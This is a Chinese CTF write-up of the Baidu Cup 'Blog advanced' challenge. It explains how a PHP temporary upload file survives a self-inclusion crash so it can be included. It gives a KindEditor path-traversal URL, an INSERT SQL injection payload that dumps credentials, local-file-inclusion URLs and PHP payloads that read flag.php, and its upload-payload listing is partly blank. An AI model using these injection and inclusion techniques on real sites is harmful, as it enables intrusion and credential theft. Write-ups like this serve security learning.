引入flag.php文件,php文件自包含的奇淫技巧

原标题:php文件自包含的奇淫技巧

前言

刷题的时候刚好看到一个比较厉害的phpinfo的利用姿势,原理不是很懂,题目来自百度杯12月第四场Blog进阶版

以下是writeup

解题过程

注册以后

发现了一个编辑器,网上搜索一番,编辑器可以列目录:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/../../../../../../../tmp/

在提交的地方有注入,就是那种正常的insert注入:

1title=1a&content=1','4'),('a',(selectgroup_concat(username,password) fromusers),'a

2admin

33177d917a0053c6161207e733c84356d(19-10-1997)

4

登录以后

可以文件包含,但是filter协议不能使用:

1http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=111

一个思路思路就是通过文件包含无限的包含自身,让PHP的调用栈清空,然后以post的方式提交一个文件,文件会保存在/tmp目录,这个时候通过编辑器路径查看的漏洞查看文件名之后 文件包含:

一下是payload:

1

2

3

4

upload

5

6

7

8upload file2:

9

10

11

12

上传如下代码:

1<?phpphpinfo ;?>

通过编辑器的漏洞查看文件名之后,可以看到临时文件的文件名称:

通过phpinfo可以发现:

1exec,passthru,shell_exec,assert,eval,glob,imageftbbox,bindtextdomain,mkdir,dir, system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket, imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile, ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,file_get_contents,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,unlink, pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority, pcntl_setpriority

那我们通过提交如下代码来获取flag

1<?php

2highlight_file("/var/www/html/flag.php");

3?>

原理解读

以上就是一个全部的解题的过程,这个姿势很奇葩,原来都没有见过,过程不是很懂,去php文档里面查了查php文件上传的原理,了解了一下php的一些特性,感觉对php的的了解又深入了一点:

php的全局数组$_FILES中

1$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。

一般文件上传之前,php就保存在/tmp目录之下,然后后端的代码主要通过move_uploaded_file函数来将缓存文件移动到新的目录中去,继续查阅php文档之后,我们会发现,php的临时文件名是php[0-9A-Za-z]{3,4}上传完毕,程序继续执行之后,php的临时文件就会自动删除。

如果程序停止执行,php的临时文件就不会自动删除,那么如何才能防止其自动删除呢?

如wp所示,不停的自我包含,程序崩溃,这个时候php的自我保护机制为了让其从程序错误中恢复出来,就会清空自己的内存栈空间,缓存文件就不会删除了。

总结

了解了一种新的攻击方式,总结一下要完成这种攻击,需要的条件

可以列目录

知道

php文件自我包含

文件上传

查看文件名称

包含上传的文件 getshell

文件包含漏洞——初级篇 :通过实验学习了解文件包含漏洞的原理,掌握文件包含漏洞的利用方法。

0bce0f0f2ce431f6fb5b49d316fa29ce.png

长按开始学习

大家有好的技术原创文章

了解投稿详情点击——重金悬赏 | 合天原创投稿等你来!返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值